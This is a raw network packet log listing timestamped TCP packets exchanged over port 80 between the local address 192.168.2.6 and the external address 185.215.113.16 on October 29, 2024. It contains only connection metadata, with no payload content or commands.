Oct 29, 2024 20:44:57.898041964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898056984 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898071051 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898082972 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.898096085 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898104906 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.898112059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898159027 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.898333073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898348093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898363113 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898379087 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898395061 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898402929 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.898423910 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.898597956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898619890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898634911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898648977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898652077 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.898663998 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898675919 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898683071 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.898691893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898719072 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.898731947 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.898890018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898907900 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898921967 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898957968 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.899039984 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899055004 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899070024 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899086952 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.899101973 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899117947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899132013 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899148941 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899157047 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.899164915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899182081 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.899492979 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899507999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899523973 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899538040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899553061 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899568081 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899571896 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.899595976 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.899772882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899785042 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899797916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899813890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899827003 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899835110 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.899842978 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.899864912 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:58.028647900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:58.486138105 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:58.486579895 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:58.492203951 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:58.492259026 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:58.492933035 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:58.492999077 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:58.493590117 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:58.499095917 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.403682947 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.403784037 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.403796911 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.403808117 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.403858900 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.403858900 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.403975010 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.403985977 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.403996944 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.404078007 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.404119015 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.404165983 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.404324055 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.404335976 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.404376984 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.410039902 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.535653114 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.564443111 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.564585924 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.564598083 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.564610004 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.564670086 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.564711094 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.564773083 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.564785004 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.564801931 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.564851999 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.564904928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.564917088 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.564970970 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.565550089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.565654993 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.565721989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.565735102 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.565824986 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.565849066 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.679678917 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.679742098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.679753065 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.679783106 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.679783106 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.679888010 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.680001974 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.680012941 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.680025101 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.680078983 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.680078983 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.680172920 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.680797100 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.680888891 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.680897951 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.680911064 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.680995941 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.725522995 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.725563049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.725574970 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.725586891 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.725610971 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.725694895 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.795407057 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.795459032 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.795471907 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.795484066 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.795516968 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.795557976 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.795623064 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.795772076 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.795825005 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.795945883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.796021938 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.796034098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.796123028 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.796380997 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.796399117 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.796415091 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.840785980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.840835094 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.840845108 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.840908051 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.840918064 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.840929985 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.840996027 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.911467075 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.911531925 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.911604881 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.911688089 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.911700010 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.911747932 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.911814928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.911842108 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.911884069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.911931038 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.911971092 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.911971092 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.956819057 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.956916094 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.957000017 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.957043886 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.957043886 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.957163095 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.957174063 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.957242966 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:59.957264900 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.957534075 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:59.958257914 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.027540922 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.027618885 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.027673006 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.027708054 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.027745008 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.027777910 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.027777910 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.027831078 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.027914047 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.027944088 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.027966022 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.028032064 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.072485924 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.072525978 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.072539091 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.072577953 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.072679996 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.072690964 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.072736025 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.072988987 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.073002100 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.073029995 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.073041916 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.073075056 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.142757893 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.142803907 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.142822027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.142851114 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.143033981 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.143076897 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.143078089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.143157959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.143173933 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.143202066 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.143275023 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.143466949 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.188179970 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.188196898 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.188211918 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.188241959 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.188292027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.188307047 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.188329935 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.188574076 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.188652992 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.188676119 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.188694954 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.188704014 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.188734055 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.259224892 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.259310961 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.259361029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.259376049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.259413004 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.259437084 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.259452105 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.259541035 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.259545088 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.314285040 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.314301968 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.314316988 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.314332008 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.314353943 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.314369917 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.314390898 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.314553976 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.314732075 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.314748049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.314788103 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.315051079 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.315066099 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.315109968 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.374629021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.374754906 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.374771118 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.374815941 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.374860048 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.375041008 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.375056028 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.375071049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.375103951 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.375128984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.375144005 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.375169992 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.419647932 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.419693947 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.419698000 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.419713020 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.419759035 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.419831038 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.419846058 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.419888020 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.420149088 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.420214891 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.420228958 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.420269966 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.420500994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.420540094 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.420563936 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.420578957 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.421263933 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.490036964 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.490080118 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.490097046 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.490148067 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.490187883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.490227938 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.490247965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.490262032 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.490652084 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.490686893 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.490699053 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.490703106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.490731001 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.535475016 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.535583973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.535598993 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.535655022 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.535655975 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.535806894 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.535824060 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.535847902 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.537296057 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.537343025 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.537343979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.537439108 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.537455082 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.537478924 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.537570000 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.537602901 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.537633896 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.605768919 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.605830908 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.605846882 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.605940104 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.605942965 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.606092930 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.606168985 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.606177092 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.606184959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.606220961 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.606309891 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.651160955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.651200056 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.651216984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.651216984 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.651253939 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.651289940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.651320934 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.651460886 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.652206898 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.652307034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.652321100 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.652349949 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.652383089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.652396917 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.652412891 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.652427912 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.652434111 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.652462959 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.653562069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.653599977 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.721720934 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.721756935 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.721771955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.721879959 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.726380110 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.726412058 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.726428032 CET	62424	80	192.168.2.6	185.215.113.16
